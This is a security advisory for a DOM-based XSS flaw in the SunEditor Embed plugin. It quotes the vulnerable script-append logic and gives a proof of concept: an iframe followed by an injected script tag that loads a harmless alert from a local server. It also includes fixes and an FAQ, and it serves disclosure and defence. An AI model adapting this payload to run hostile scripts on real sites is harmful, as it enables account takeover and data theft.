GHSA-w93q-cq9w-58p7: XSS
Summary
A DOM-based Cross-Site Scripting (XSS) vulnerability exists in the SunEditor Embed plugin. Crafted iframe embed HTML followed by an external <script src=...> element bypasses the plugin’s sanitization logic. The plugin recreates and appends the attacker-controlled script element to the live DOM, causing JavaScript execution in the context of the editor page.
If an application stores or reflects SunEditor content without additional backend sanitization, this can lead to stored or reflected XSS when another user opens, previews, renders, or edits the malicious content.
Details
The Embed plugin parses raw embed HTML and processes the resulting DOM nodes. When a <script> element is included after a valid iframe, the plugin creates a new script element using the attacker-controlled src value and appends it to the DOM.
Relevant behavior:
const embedDOM = new DOMParser().parseFromString(src, 'text/html').body.children; if (/^script$/i.test(chd.nodeName)) { scriptTag = dom.utils.createElement('script', { src: chd.getAttribute('src'), async: 'true' }, null); continue; } cover.appendChild(scriptTag);
Because the script is newly created and appended, it executes.
PoC
Start a local server hosting a JavaScript payload:
mkdir -p /tmp/suneditor-poc cd /tmp/suneditor-poc
cat > poc.js <<'EOF' alert(1); console.log("SunEditor Embed Plugin XSS executed"); EOF
python3 -m http.server 8000
Open SunEditor with the Embed plugin enabled, then insert the following payload through the Embed modal and save :
<iframe src="https://youtube.com/embed/x"></iframe><script src="http://127.0.0.1:8000/poc.js"></script> Successful exploitation is confirmed when:
alert(1) appears
or the local server logs:
GET /poc.js
Impact
An attacker who can provide or store embed HTML can execute arbitrary JavaScript in another user’s browser when the content is processed by SunEditor. This may allow account actions as the victim, modification of editor content, or access to sensitive data available in the editor page.
The issue is especially impactful when SunEditor content is stored in a backend and later reopened or rendered for administrators, editors, or other users without additional sanitization.
Suggested Fix
Do not recreate or append script elements from user-controlled embed HTML.
Minimum mitigation:
if (/^script$/i.test(chd.nodeName)) { continue; }
A stronger fix is to allow only expected embed elements such as iframe or blockquote, sanitize their attributes, and discard all other sibling elements.
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/suneditorto a version that resolves this vulnerability.Fixed in 3.1.4 - Configuration
Update SunEditor Embed plugin processing so it only permits expected embed elements such as iframe or blockquote, sanitizes their attributes, discards all other sibling elements, and specifically prevents recreating/appending attacker-controlled <script> elements (including cases where a <script src=...> follows a valid <iframe>).
SunEditor (Embed plugin) Embed HTML sanitization / DOM handling = Allow only expected embed elements (e.g., iframe, blockquote), sanitize their attributes, and discard all other sibling elements; never recreate/append <script> elements from user-controlled embed HTML
Event History
Frequently Asked Questions
When can this issue be exploited?
An attacker needs to supply embed HTML containing a valid iframe followed by a script element with an attacker-controlled src attribute. The vulnerable Embed plugin recreates that script element and appends it to the editor page DOM, causing the external JavaScript to execute.
Which deployments are most exposed?
Applications that store or reflect SunEditor content without separate backend sanitization are exposed to stored or reflected XSS. The payload may execute when another user opens, previews, renders, or edits the malicious content.
What can reduce risk before a fix is applied?
Apply backend sanitization to SunEditor content before storing or rendering it, particularly stripping script elements and untrusted embed HTML. This is relevant because the affected plugin processes attacker-supplied raw embed HTML.